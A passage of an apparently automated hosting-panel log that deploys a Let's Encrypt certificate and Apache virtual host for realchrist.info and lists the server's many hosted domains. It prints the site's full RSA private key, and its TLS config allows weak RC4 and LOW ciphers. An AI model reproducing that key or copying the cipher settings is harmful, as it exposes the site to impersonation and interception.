yQH3nAP2/Apd9Np75tt2QnDr9E0i2gB3b9bJXxf92nUupVcM9upctuBzpWjPoXTi
dYJ+EJ/B9aLrAek4sQpEzNPCifVJNYIKNLMc6YjCR06CDgo28EdPivEpBHXazeGa
XP9enZiVuppD0EqiFwUBBDDTMrOPAgMBAAGjgfgwgfUwDgYDVR0PAQH/BAQDAgGG
MB0GA1UdJQQWMBQGCCsGAQUFBwMCBggrBgEFBQcDATASBgNVHRMBAf8ECDAGAQH/
AgEAMB0GA1UdDgQWBBTnq58PLDOgU9NeT3jIsoQOO9aSMzAfBgNVHSMEGDAWgBR5
tFnme7bl5AFzgAiIyBpY9umbbjAyBggrBgEFBQcBAQQmMCQwIgYIKwYBBQUHMAKG
Fmh0dHA6Ly94MS5pLmxlbmNyLm9yZy8wEwYDVR0gBAwwCjAIBgZngQwBAgEwJwYD
VR0fBCAwHjAcoBqgGIYWaHR0cDovL3gxLmMubGVuY3Iub3JnLzANBgkqhkiG9w0B
AQsFAAOCAgEAUTdYUqEimzW7TbrOypLqCfL7VOwYf/Q79OH5cHLCZeggfQhDconl
k7Kgh8b0vi+/XuWu7CN8n/UPeg1vo3G+taXirrytthQinAHGwc/UdbOygJa9zuBc
VyqoH3CXTXDInT+8a+c3aEVMJ2St+pSn4ed+WkDp8ijsijvEyFwE47hulW0Ltzjg
9fOV5Pmrg/zxWbRuL+k0DBDHEJennCsAen7c35Pmx7jpmJ/HtgRhcnz0yjSBvyIw
6L1QIupkCv2SBODT/xDD3gfQQyKv6roV4G2EhfEyAsWpmojxjCUCGiyg97FvDtm/
NK2LSc9lybKxB73I2+P2G3CaWpvvpAiHCVu30jW8GCxKdfhsXtnIy2imskQqVZ2m
0Pmxobb28Tucr7xBK7CtwvPrb79os7u2XP3O5f9b/H66GNyRrglRXlrYjI1oGYL/
f4I1n/Sgusda6WvA6C190kxjU15Y12mHU4+BxyR9cx2hhGS9fAjMZKJss28qxvz6
Axu4CaDmRNZpK/pQrXF17yXCXkmEWgvSOEZy6Z9pcbLIVEGckV/iVeq0AOo2pkg9
p4QRIy0tK2diRENLSF2KysFwbY6B26BFeFs3v1sYVRhFW9nLkOrQVporCS0KyZmf
wVD89qSTlnctLcZnIavjKsKUu1nA1iU0yYMdYepKR7lWbnwhdx3ewok=
-----END CERTIFICATE-----
endmsg
chmod 640 $temp_file
if [ -d "/etc/pki/tls/certs" ]; then
cp $temp_file /etc/pki/tls/certs/$TARGET
echo dir=/etc/pki/tls/certs/
elif [ -d "/etc/ssl/certs" ]; then
cp $temp_file /etc/ssl/certs/$TARGET
echo dir=/etc/ssl/certs
else
echo dir=
fi
rm $temp_file
2025-12-04 06:00:16:
chmod 755 /tmp/pkp522221; /tmp/pkp522221; rm /tmp/pkp522221
2025-12-04 06:00:16:
dir=/etc/ssl/certs
2025-12-04 06:00:16:
PUT: /tmp/pkp875455
#!/bin/bash
# download changed files, then zip.
APACHE_ROOT=/etc/apache2
BOUNDARY=----boundary-6506b6c63ab0478b95fb419cca0e56fb----
cd $APACHE_ROOT
temp_file=$(mktemp)
show_file() {
echo $BOUNDARY >> $temp_file
if [ -f "$1" ]; then
FILESIZE=$(stat -c%s "$1")
echo $1 $FILESIZE >> $temp_file
cat $1 >> $temp_file
else
echo $1 0 >> $temp_file
fi
echo >> $temp_file
}
show_file "/etc/apache2/sites-enabled/realchrist_www_info.conf"
gzip -cn9 $temp_file
rm $temp_file
2025-12-04 06:00:16:
chmod 755 /tmp/pkp875455; /tmp/pkp875455; rm /tmp/pkp875455
2025-12-04 06:00:16:
(gzipped output)
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/realchrist_www_info.conf 43
<VirtualHost *:80>
ServerName realchrist.info
ServerAlias www.realchrist.info
ServerAdmin do_not_email@example.com
DocumentRoot /var/www/realchrist_www
<Directory /var/www/realchrist_www>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
CustomLog /var/log/apache2/realchrist/www_access.log combined
ErrorLog /var/log/apache2/realchrist/www_error.log
SetEnv pkp_uid 41
SetEnv pkp_owner carelinks
RewriteEngine On
RewriteCond %{REQUEST_METHOD} !POST
RewriteRule ^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
</VirtualHost>
<VirtualHost *:443>
ServerName realchrist.info
ServerAlias www.realchrist.info
ServerAdmin do_not_email@example.com
SSLEngine on
SSLProtocol all -SSLv2
SSLCipherSuite ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
SSLCertificateFile /etc/ssl/certs/8df29f43e5e79f1c31041f6ee4962ae9.crt
DocumentRoot /var/www/realchrist_www
<Directory /var/www/realchrist_www>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
CustomLog /var/log/apache2/realchrist/www_secure_access.log combined
ErrorLog /var/log/apache2/realchrist/www_secure_error.log
SetEnv pkp_uid
SetEnv pkp_owner
</VirtualHost>
2025-12-04 06:00:16:
PUT: /tmp/pkp306072
#!/bin/bash
temp_file=$(mktemp)
BASE=/etc/apache2
BASENAME=realchrist_www_info.conf
TARGET=/etc/apache2/sites-enabled/realchrist_www_info.conf
DOCROOT=-
PUBLIC=
cat > $temp_file <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
<VirtualHost *:80>
ServerName realchrist.info
ServerAlias www.realchrist.info
ServerAdmin do_not_email@example.com
DocumentRoot /var/www/realchrist_www
<Directory /var/www/realchrist_www>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
CustomLog /var/log/apache2/realchrist/www_access.log combined
ErrorLog /var/log/apache2/realchrist/www_error.log
SetEnv pkp_uid 41
SetEnv pkp_owner carelinks
RewriteEngine On
RewriteCond %{REQUEST_METHOD} !POST
RewriteRule ^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
</VirtualHost>
<VirtualHost *:443>
ServerName realchrist.info
ServerAlias www.realchrist.info
ServerAdmin do_not_email@example.com
SSLEngine on
SSLProtocol all -SSLv2
SSLCipherSuite ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
SSLCertificateFile /etc/ssl/certs/8df29f43e5e79f1c31041f6ee4962ae9.crt
DocumentRoot /var/www/realchrist_www
<Directory /var/www/realchrist_www>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
CustomLog /var/log/apache2/realchrist/www_secure_access.log combined
ErrorLog /var/log/apache2/realchrist/www_secure_error.log
SetEnv pkp_uid
SetEnv pkp_owner
</VirtualHost>
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 644 $temp_file
cd $BASE
cp -f $temp_file $TARGET
rm $temp_file
if [ $DOCROOT != "-" ]; then
mkdir -p
mkdir -p $DOCROOT/$PUBLIC
chown -R : $DOCROOT
ln -s "..//etc/apache2/sites-enabled/realchrist_www_info.conf" "$BASE/sites-enabled/$BASENAME" > /dev/null 2>&1
echo 'link(/etc/apache2/sites-enabled/realchrist_www_info.conf)= /etc/apache2//etc/apache2/sites-enabled/realchrist_www_info.conf'
echo 'file(/etc/apache2//etc/apache2/sites-enabled/realchrist_www_info.conf= 1'
fi
2025-12-04 06:00:16:
chmod 755 /tmp/pkp306072; /tmp/pkp306072; rm /tmp/pkp306072
2025-12-04 06:00:16:
2025-12-04 06:00:16:
PUT: /tmp/pkp922870
#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
/usr/sbin/apachectl graceful
fi
if [ -f "/usr/local/opt/httpd/bin/httpd" ]; then
export HOMEBREW_NO_INSTALL_FROM_API=1
brew services restart httpd
fi
echo .
2025-12-04 06:00:16:
chmod 755 /tmp/pkp922870; /tmp/pkp922870; rm /tmp/pkp922870
2025-12-04 06:00:17:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
.
STDERR:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
2025-12-04 06:00:17: Establishing a connection
2025-12-04 06:00:17:
PUT: /tmp/pkp421116
#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
/usr/sbin/apachectl -S
fi
echo .
2025-12-04 06:00:17:
chmod 755 /tmp/pkp421116; /tmp/pkp421116; rm /tmp/pkp421116
2025-12-04 06:00:17:
VirtualHost configuration:
*:80 is a NameVirtualHost
default server 127.0.1.1 (/etc/apache2/sites-enabled/000-default.conf:1)
port 80 namevhost 127.0.1.1 (/etc/apache2/sites-enabled/000-default.conf:1)
port 80 namevhost mars.hostz.org (/etc/apache2/sites-enabled/000-hostz_mars_org.conf:2)
port 80 namevhost baptizo.info (/etc/apache2/sites-enabled/baptizo_www_info.conf:2)
alias www.baptizo.info
port 80 namevhost bible-basics.info (/etc/apache2/sites-enabled/bible-basics_www_info.conf:2)
alias www.bible-basics.info
port 80 namevhost biblealive.us (/etc/apache2/sites-enabled/biblealive_www_us.conf:2)
port 80 namevhost biblebasicsonline.com (/etc/apache2/sites-enabled/biblebasicsonline_www_com.conf:2)
alias www.biblebasicsonline.com
port 80 namevhost carelinks-uk.org (/etc/apache2/sites-enabled/carelinks-uk_www_org.conf:2)
alias www.carelinks-uk.org
port 80 namevhost carelinks.org.au (/etc/apache2/sites-enabled/carelinks_www_org-au.conf:2)
port 80 namevhost carelinks.org.uk (/etc/apache2/sites-enabled/carelinks_www_org-uk.conf:2)
alias www.carelinks.org.uk
port 80 namevhost carelinksaustralia.info (/etc/apache2/sites-enabled/carelinksaustralia_www_info.conf:2)
alias www.carelinksaustralia.info
port 80 namevhost carelinksoutreach.info (/etc/apache2/sites-enabled/carelinksoutreach_www_info.conf:2)
alias www.carelinksoutreach.info
port 80 namevhost christadelphian.video (/etc/apache2/sites-enabled/christadelphian_www_video.conf:2)
port 80 namevhost christadelphianfraternal.info (/etc/apache2/sites-enabled/christadelphianfraternal_www_info.conf:2)
alias www.christadelphianfraternal.info
port 80 namevhost croydonchurch.info (/etc/apache2/sites-enabled/croydonchurch_www_info.conf:2)
alias www.croydonchurch.info
port 80 namevhost dalmenynaroomabushwalkers.info (/etc/apache2/sites-enabled/dalmenynaroomabushwalkers_www_info.conf:2)
alias www.dalmenynaroomabushwalkers.info
port 80 namevhost exjw.org.uk (/etc/apache2/sites-enabled/exjw_www_org-uk.conf:2)
port 80 namevhost freebible.info (/etc/apache2/sites-enabled/freebible_www_info.conf:2)
alias www.freebible.info
port 80 namevhost backup.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_backup_org.conf:2)
port 80 namevhost media.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_media_org.conf:2)
port 80 namevhost maminas.info (/etc/apache2/sites-enabled/maminas_www_info.conf:2)
alias www.maminas.info
port 80 namevhost osnowybiblii.info (/etc/apache2/sites-enabled/osnowybiblii_www_info.conf:2)
alias www.osnowybiblii.info
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
port 80 namevhost croydon.pjy.us (/etc/apache2/sites-enabled/pjy_croydon_us.conf:2)
port 80 namevhost r-b-c.org (/etc/apache2/sites-enabled/r-b-c_www_org.conf:2)
alias www.r-b-c.org
port 80 namevhost realchrist.info (/etc/apache2/sites-enabled/realchrist_www_info.conf:2)
alias www.realchrist.info
port 80 namevhost vards.info (/etc/apache2/sites-enabled/vards_www_info.conf:2)
alias www.vards.info
*:443 is a NameVirtualHost
default server mars.hostz.org (/etc/apache2/sites-enabled/000-hostz_mars_org.conf:19)
port 443 namevhost mars.hostz.org (/etc/apache2/sites-enabled/000-hostz_mars_org.conf:19)
port 443 namevhost baptizo.info (/etc/apache2/sites-enabled/baptizo_www_info.conf:23)
alias www.baptizo.info
port 443 namevhost bible-basics.info (/etc/apache2/sites-enabled/bible-basics_www_info.conf:23)
alias www.bible-basics.info
port 443 namevhost biblealive.us (/etc/apache2/sites-enabled/biblealive_www_us.conf:24)
port 443 namevhost biblebasicsonline.com (/etc/apache2/sites-enabled/biblebasicsonline_www_com.conf:23)
alias www.biblebasicsonline.com
port 443 namevhost carelinks-uk.org (/etc/apache2/sites-enabled/carelinks-uk_www_org.conf:23)
alias www.carelinks-uk.org
port 443 namevhost carelinks.org.au (/etc/apache2/sites-enabled/carelinks_www_org-au.conf:19)
port 443 namevhost carelinks.org.uk (/etc/apache2/sites-enabled/carelinks_www_org-uk.conf:23)
alias www.carelinks.org.uk
port 443 namevhost carelinksaustralia.info (/etc/apache2/sites-enabled/carelinksaustralia_www_info.conf:20)
alias www.carelinksaustralia.info
port 443 namevhost carelinksoutreach.info (/etc/apache2/sites-enabled/carelinksoutreach_www_info.conf:23)
alias www.carelinksoutreach.info
port 443 namevhost christadelphian.video (/etc/apache2/sites-enabled/christadelphian_www_video.conf:19)
port 443 namevhost christadelphianfraternal.info (/etc/apache2/sites-enabled/christadelphianfraternal_www_info.conf:23)
alias www.christadelphianfraternal.info
port 443 namevhost croydonchurch.info (/etc/apache2/sites-enabled/croydonchurch_www_info.conf:23)
alias www.croydonchurch.info
port 443 namevhost dalmenynaroomabushwalkers.info (/etc/apache2/sites-enabled/dalmenynaroomabushwalkers_www_info.conf:23)
alias www.dalmenynaroomabushwalkers.info
port 443 namevhost exjw.org.uk (/etc/apache2/sites-enabled/exjw_www_org-uk.conf:22)
port 443 namevhost freebible.info (/etc/apache2/sites-enabled/freebible_www_info.conf:23)
alias www.freebible.info
port 443 namevhost backup.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_backup_org.conf:28)
port 443 namevhost media.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_media_org.conf:26)
port 443 namevhost maminas.info (/etc/apache2/sites-enabled/maminas_www_info.conf:23)
alias www.maminas.info
port 443 namevhost osnowybiblii.info (/etc/apache2/sites-enabled/osnowybiblii_www_info.conf:23)
alias www.osnowybiblii.info
port 443 namevhost croydon.pjy.us (/etc/apache2/sites-enabled/pjy_croydon_us.conf:22)
port 443 namevhost r-b-c.org (/etc/apache2/sites-enabled/r-b-c_www_org.conf:23)
alias www.r-b-c.org
port 443 namevhost realchrist.info (/etc/apache2/sites-enabled/realchrist_www_info.conf:23)
alias www.realchrist.info
port 443 namevhost vards.info (/etc/apache2/sites-enabled/vards_www_info.conf:23)
alias www.vards.info
ServerRoot: "/etc/apache2"
Main DocumentRoot: "/var/www/html"
Main ErrorLog: "/var/log/apache2/error.log"
Mutex ssl-stapling: using_defaults
Mutex proxy: using_defaults
Mutex ssl-cache: using_defaults
Mutex default: dir="/var/run/apache2/" mechanism=default
Mutex mpm-accept: using_defaults
Mutex watchdog-callback: using_defaults
Mutex rewrite-map: using_defaults
Mutex ssl-stapling-refresh: using_defaults
PidFile: "/var/run/apache2/apache2.pid"
Define: DUMP_VHOSTS
Define: DUMP_RUN_CFG
User: name="www-data" id=33
Group: name="www-data" id=33
.
STDERR:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
2025-12-04 06:00:17:
PUT: /tmp/pkp704656
#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')
def show_file(filename):
if os.path.isfile(filename):
f = open(filename, 'r')
sz = os.path.getsize(filename)
content = f.read()
payload = BOUNDARY + "\n"
gz.write(payload.encode('cp437'))
payload = filename + "\t" + str(sz) + "\n"
gz.write(payload.encode('cp437'))
payload = content + "\n"
gz.write(payload.encode('cp437'))
gz.write("\n".encode('cp437'))
f.close()
try:
show_file('/etc/apache2/sites-enabled/realchrist_www_info.conf')
finally:
gz.close();
sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
data = f.read()
sys.stdout.write(data.decode('latin-1'))
f.close()
os.remove(jones.name)
2025-12-04 06:00:17:
chmod 755 /tmp/pkp704656; /tmp/pkp704656; rm /tmp/pkp704656
2025-12-04 06:00:17:
(gzipped output)
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/realchrist_www_info.conf 1393
<VirtualHost *:80>
ServerName realchrist.info
ServerAlias www.realchrist.info
ServerAdmin do_not_email@example.com
DocumentRoot /var/www/realchrist_www
<Directory /var/www/realchrist_www>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
CustomLog /var/log/apache2/realchrist/www_access.log combined
ErrorLog /var/log/apache2/realchrist/www_error.log
SetEnv pkp_uid 41
SetEnv pkp_owner carelinks
RewriteEngine On
RewriteCond %{REQUEST_METHOD} !POST
RewriteRule ^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
</VirtualHost>
<VirtualHost *:443>
ServerName realchrist.info
ServerAlias www.realchrist.info
ServerAdmin do_not_email@example.com
SSLEngine on
SSLProtocol all -SSLv2
SSLCipherSuite ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
SSLCertificateFile /etc/ssl/certs/8df29f43e5e79f1c31041f6ee4962ae9.crt
DocumentRoot /var/www/realchrist_www
<Directory /var/www/realchrist_www>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
CustomLog /var/log/apache2/realchrist/www_secure_access.log combined
ErrorLog /var/log/apache2/realchrist/www_secure_error.log
SetEnv pkp_uid
SetEnv pkp_owner
</VirtualHost>
2025-12-04 06:00:17:
PUT: /tmp/pkp742756
#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')
def show_file(filename):
if os.path.isfile(filename):
f = open(filename, 'r')
sz = os.path.getsize(filename)
content = f.read()
payload = BOUNDARY + "\n"
gz.write(payload.encode('cp437'))
payload = filename + "\t" + str(sz) + "\n"
gz.write(payload.encode('cp437'))
payload = content + "\n"
gz.write(payload.encode('cp437'))
gz.write("\n".encode('cp437'))
f.close()
try:
show_file('/etc/ssl/certs/8df29f43e5e79f1c31041f6ee4962ae9.crt')
finally:
gz.close();
sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
data = f.read()
sys.stdout.write(data.decode('latin-1'))
f.close()
os.remove(jones.name)
2025-12-04 06:00:17:
chmod 755 /tmp/pkp742756; /tmp/pkp742756; rm /tmp/pkp742756
2025-12-04 06:00:17:
(gzipped output)
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/ssl/certs/8df29f43e5e79f1c31041f6ee4962ae9.crt 5393
66:19:49:be:a0:63:2c:e5:87:9f:2a:e1:e6:b3:82:6f
-----BEGIN CERTIFICATE-----
MIIFFjCCA/6gAwIBAgISBo8GKDCz7LHBigQYqwdJQmeGMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTMwHhcNMjUxMjA0MDUwMTQ1WhcNMjYwMzA0MDUwMTQ0WjAaMRgwFgYDVQQD
Ew9yZWFsY2hyaXN0LmluZm8wggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEKAoIB
AQDdopAGCMXGqNweQskYLn6u9wUqJAwVG5FE8XpKJqH6K7Mm1nm8STucTnCoMwMF
ZHha263Od9lvi+MQtGZ5gy3putJoG1w106Wi5qPuFGGJkf/8Rur1oBM2FfWeHxQH
KkVYXExCnXIPRrl1c4bpf9eJI3VZicTEfEupuFZL4D/8qkq1IXFiqhVzNRHhnhC2
NM6oS0eUCyluLeT5YezSowbNL8id2bMolhRFguG1pCOw9F9v1GytK18Gt7/3mlOv
eVF9+rircYpYHpi3b4sIPV73L514nm9IPoR+AU89cKCc6K2hFd65xJfjuTPpumQp
IfVNlv/AxPOTikT+23CYMfYjAgMBAAGjggI7MIICNzAOBgNVHQ8BAf8EBAMCBaAw
HQYDVR0lBBYwFAYIKwYBBQUHAwEGCCsGAQUFBwMCMAwGA1UdEwEB/wQCMAAwHQYD
VR0OBBYEFCcWExjj3iQSmxs3kGOf8veMcvWyMB8GA1UdIwQYMBaAFOernw8sM6BT
015PeMiyhA471pIzMDMGCCsGAQUFBwEBBCcwJTAjBggrBgEFBQcwAoYXaHR0cDov
L3IxMy5pLmxlbmNyLm9yZy8wLwYDVR0RBCgwJoIPcmVhbGNocmlzdC5pbmZvghN3
d3cucmVhbGNocmlzdC5pbmZvMBMGA1UdIAQMMAowCAYGZ4EMAQIBMC0GA1UdHwQm
MCQwIqAgoB6GHGh0dHA6Ly9yMTMuYy5sZW5jci5vcmcvNy5jcmwwggEMBgorBgEE
AdZ5AgQCBIH9BIH6APgAdgDRbqmlaAd+ZjWgPzel3bwDpTxBEhTUiBj16TGzI8uV
BAAAAZrn8mtnAAAEAwBHMEUCIAiKZE8DfM68sKIgLXconsHBYJHxjfy2aUVST0A/
/Cm4AiEAncyzAPN3ECyTk2iJMyhhytOzXHJaegxo5I5x2IY+ydoAfgDjI43yjaKI
4KrgrPD6kMmF8La/9dKlJ7AB/BxEWMS26AAAAZrn8mujAAgAAAUAJ8mHTQQDAEcw
RQIgCgn1ngJkGT3cf23TuOvOvhfjOM1J6mTOn92Y6qmDeSkCIQDDtHp3shyGBKVb
hf4B2hwmo964pqX/Hwux/GTcA4PNUTANBgkqhkiG9w0BAQsFAAOCAQEAjgNDJqrY
KVQtJMpdhYdYGSehAku/Md8GbWfxh+tRKrwYlx5B2BOdjmp/MMSPOvuylCoPEfuN
GIniIt9vd0SwVtjJMXwvw6CAHldBi0hqPSg04OmBxGEyoxeUvS+nTRIqprF8L8Aa
L5+6PV4e70lkV06blnbzLHJt/kP9pAwxPx0hdewoZpoJKE2/tavQcCfnt2Q+r85A
xjNXL6BZ/SjMz5fmN5iLHIMXdjoAYnc0IaCttASFBYG7oQ8rU7t3MqvSrbufCCqH
PHcKhHTM+x06Beh2DHEhI1bmYFB64wXr0V0xyOIWyXdXARQHtiScn7QDwzn6VTV3
m/Pc8JgtJUOhJw==
-----END CERTIFICATE-----
-----BEGIN PRIVATE KEY-----
MIIEwAIBADANBgkqhkiG9w0BAQEFAASCBKowggSmAgEAAoIBAQDdopAGCMXGqNwe
QskYLn6u9wUqJAwVG5FE8XpKJqH6K7Mm1nm8STucTnCoMwMFZHha263Od9lvi+MQ
tGZ5gy3putJoG1w106Wi5qPuFGGJkf/8Rur1oBM2FfWeHxQHKkVYXExCnXIPRrl1
c4bpf9eJI3VZicTEfEupuFZL4D/8qkq1IXFiqhVzNRHhnhC2NM6oS0eUCyluLeT5
YezSowbNL8id2bMolhRFguG1pCOw9F9v1GytK18Gt7/3mlOveVF9+rircYpYHpi3
b4sIPV73L514nm9IPoR+AU89cKCc6K2hFd65xJfjuTPpumQpIfVNlv/AxPOTikT+
23CYMfYjAgMBAAECggEBALx7oSvgjgFyXS/G8CmGcOnu3Q+HdFcHCLWu/qbMz/dm
7oZa41BCn1VASAJiz3DojooGRHtP5TQ9rK7qHDO+YW9iF8m9at/DzBsLNeIkpwZN
iXtL/ElDBtN6PVVpbKjjQ/HvHFOSfguLw/CkfNlahTv1UbkBtrq6UcZWI92HKiN+
QayTdBuQl/LiWp7SV742WGUSOxSr4tI4vmXVhizSCftT092CBNqIhkD7m7Ju0fTQ
XMNBHsq//0WM1T2IKoppDKbjbcx9w8aBgCb8n1ybH/2w7m8UbGksmLTxYYmVIjMZ
pH1ZwqPEM+GfrogFuCAXypwh2NOj+auLWefPzVYNDbECgYEA8wiy1gD+9pqKYba4
CNmWSdK11S0vwdpXlxzKJt6EYToTeYjjxHfc6twHMZKE6VBSJznniziIgtBAB3Mk
SUkJkHzJpwPDfttfjDgHPfrs4+f+kfB7ERvkvgY94ohbpNkqa6IPQHA4x3MfezpC
pne495DnAf+l28k5O77mdzshNd8CgYEA6XWaFV+bgXThtVWMCYf70GoNkZqqGAWf
fqOqHl87tYsu+sVzvV/r9/j8ak0hIxULtcOi/laqjJhzR7JJOoQvLVwQaGdGflXo
u+4OH/DQzdgh+C0BE7f0BFv+ATPclqzlqRnQATD1j8IwDsOj30nzxK4bPTePKYEK
VuODvHB74D0CgYEAlIyKkxgEv8LyNouyrWYh4Hm0vtphyIGm7Cyiu2NjUvJmmPC9
F4eUNtHKa9h8+QcpT+SqzIP/nMWhfWw5j7ne6Lv9neJFCjMYkeJlOtM3HI7fIWD2
OBzukd/Kz749FePPc/6Yh/CQJAkQAwg3WPzwyBF/wc77F/5Ex2oGAHbZ880CgYEA
lyOniUbIKds9dGPZsSH0CE1gU29Jxxt80kOqktcclL9yvq6t61/6KCNtZnRgi5HI
bvgkwXviFftsRnJJrjR9RmRfyvdxT8DWVzQauNrykxDljQG1vMpOk7PqkWS93l44
oG0xmFPV5ifVbPmDUb9SrXX59HvPlxMPWokYdBpuWBECgYEAkHj+owYuQUaegzeZ
7ac/EaASJwRKom2yzzaIlxsL5k394X/umr/f4W6MArEEiuPucOuSgKaMqJyMdCHz
Wgi3bsRxuvZMS+XPtuiZT4nHz/E/3Ky3T3Y/ARJQq7/9/JFTRjyKKLhnMiZnq0fC
omlJAKep4dTiELOpGE+Ro/t7kHc=
-----END PRIVATE KEY-----
-----BEGIN CERTIFICATE-----
MIIFBTCCAu2gAwIBAgIQWgDyEtjUtIDzkkFX6imDBTANBgkqhkiG9w0BAQsFADBP
MQswCQYDVQQGEwJVUzEpMCcGA1UEChMgSW50ZXJuZXQgU2VjdXJpdHkgUmVzZWFy
Y2ggR3JvdXAxFTATBgNVBAMTDElTUkcgUm9vdCBYMTAeFw0yNDAzMTMwMDAwMDBa
Fw0yNzAzMTIyMzU5NTlaMDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBF
bmNyeXB0MQwwCgYDVQQDEwNSMTMwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEK
AoIBAQClZ3CN0FaBZBUXYc25BtStGZCMJlA3mBZjklTb2cyEBZPs0+wIG6BgUUNI
fSvHSJaetC3ancgnO1ehn6vw1g7UDjDKb5ux0daknTI+WE41b0VYaHEX/D7YXYKg
L7JRbLAaXbhZzjVlyIuhrxA3/+OcXcJJFzT/jCuLjfC8cSyTDB0FxLrHzarJXnzR
yQH3nAP2/Apd9Np75tt2QnDr9E0i2gB3b9bJXxf92nUupVcM9upctuBzpWjPoXTi
dYJ+EJ/B9aLrAek4sQpEzNPCifVJNYIKNLMc6YjCR06CDgo28EdPivEpBHXazeGa
XP9enZiVuppD0EqiFwUBBDDTMrOPAgMBAAGjgfgwgfUwDgYDVR0PAQH/BAQDAgGG
MB0GA1UdJQQWMBQGCCsGAQUFBwMCBggrBgEFBQcDATASBgNVHRMBAf8ECDAGAQH/
AgEAMB0GA1UdDgQWBBTnq58PLDOgU9NeT3jIsoQOO9aSMzAfBgNVHSMEGDAWgBR5
tFnme7bl5AFzgAiIyBpY9umbbjAyBggrBgEFBQcBAQQmMCQwIgYIKwYBBQUHMAKG
Fmh0dHA6Ly94MS5pLmxlbmNyLm9yZy8wEwYDVR0gBAwwCjAIBgZngQwBAgEwJwYD
VR0fBCAwHjAcoBqgGIYWaHR0cDovL3gxLmMubGVuY3Iub3JnLzANBgkqhkiG9w0B
AQsFAAOCAgEAUTdYUqEimzW7TbrOypLqCfL7VOwYf/Q79OH5cHLCZeggfQhDconl
k7Kgh8b0vi+/XuWu7CN8n/UPeg1vo3G+taXirrytthQinAHGwc/UdbOygJa9zuBc
VyqoH3CXTXDInT+8a+c3aEVMJ2St+pSn4ed+WkDp8ijsijvEyFwE47hulW0Ltzjg
9fOV5Pmrg/zxWbRuL+k0DBDHEJennCsAen7c35Pmx7jpmJ/HtgRhcnz0yjSBvyIw
6L1QIupkCv2SBODT/xDD3gfQQyKv6roV4G2EhfEyAsWpmojxjCUCGiyg97FvDtm/
NK2LSc9lybKxB73I2+P2G3CaWpvvpAiHCVu30jW8GCxKdfhsXtnIy2imskQqVZ2m
0Pmxobb28Tucr7xBK7CtwvPrb79os7u2XP3O5f9b/H66GNyRrglRXlrYjI1oGYL/
f4I1n/Sgusda6WvA6C190kxjU15Y12mHU4+BxyR9cx2hhGS9fAjMZKJss28qxvz6
Axu4CaDmRNZpK/pQrXF17yXCXkmEWgvSOEZy6Z9pcbLIVEGckV/iVeq0AOo2pkg9
p4QRIy0tK2diRENLSF2KysFwbY6B26BFeFs3v1sYVRhFW9nLkOrQVporCS0KyZmf
wVD89qSTlnctLcZnIavjKsKUu1nA1iU0yYMdYepKR7lWbnwhdx3ewok=
-----END CERTIFICATE-----
2025-12-04 06:00:17: Establishing a connection
2025-12-04 06:00:17: Establishing a connection
2025-12-04 06:00:18:
PUT: /tmp/pkp157076
#!/bin/bash
if [ -d "/var/www/drewmarshall_audio/.well-known" ]; then
echo 1
else
echo 0
fi
2025-12-04 06:00:18:
chmod 755 /tmp/pkp157076; /tmp/pkp157076; rm /tmp/pkp157076
2025-12-04 06:00:18:
1
2025-12-04 06:00:18: Establishing a connection
2025-12-04 06:00:19:
PUT: /tmp/pkp618446
#!/bin/bash
mkdir -p "/var/www/drewmarshall_audio/.well-known/acme-challenge/"
cd "/var/www/drewmarshall_audio/.well-known/acme-challenge/"
cat > g9dlbzWhHQnumEyFazY8l4KPxOi915udo0pgsEN4ZJ0 <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
